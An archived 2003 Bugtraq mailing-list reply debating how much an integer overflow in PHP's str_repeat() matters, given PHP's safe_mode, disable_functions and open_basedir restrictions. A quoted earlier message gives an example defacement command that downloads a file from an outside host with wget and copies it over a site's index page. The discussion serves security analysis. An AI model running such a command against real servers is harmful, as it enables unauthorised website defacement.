bugtraq - Re: @(#)Mordred Labs advisory - Integer overflow in PHP str

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <20030404104539.57060194.javi@isr.co.jp>
Date: Fri, 4 Apr 2003 10:45:39 -0900
From: Javi Lavandeira <javi@....co.jp>
To: bugtraq@...urityfocus.com
Subject: Re: @(#)Mordred Labs advisory - Integer overflow in PHP
 str_repeat() function

Hi,

On Thu, 3 Apr 2003 08:39:03 +0200
Goran Krajnovic <goran.krajnovic@...et.hr> wrote:

> [...]
> If an attacker has the opportunity to execude PHP code of his choice on a
> target server [1], he does not need to exploit a buffer overflow in PHP just to
> get the privileges of the web server user - he already runs code with the
> privileges of that user. And having the ability to run PHP code gives him just
> about the same level of power as getting a non-root shell on the box.
> [...]
> [1] Usually by exploiting some of the poor programming practices in some PHP
> applications, misconfigurations, or bugs. See
> http://www.securityfocus.com/bid/3889 for example. In a typical attack, this is
> used to execute code, and the code is usually system('wget
> http://another.exploited.host/defaced-index.php'); system('cp defaced-index.php
> index.php') or similar.

You seem to be forgetting about PHP's safe_mode, disable_functions and open_basedir directives. If configured properly, a user in a server with PHP support should not be able to execute commands, read other users' files or do anything outside his directory. Even though PHP is running with the privileges of the web server, the user doesn't have these privileges (again, if properly configured). Many ISPs configure PHP in this way.

*IF* the overflow really exists *AND* is exploitable, I would be very worried, because *THEN* users could gain the privileges of the web server and do things they shouldn't be doing.

Regards,

-- 
Javier Lavandeira
International Systems Research
http://www.isr.co.jp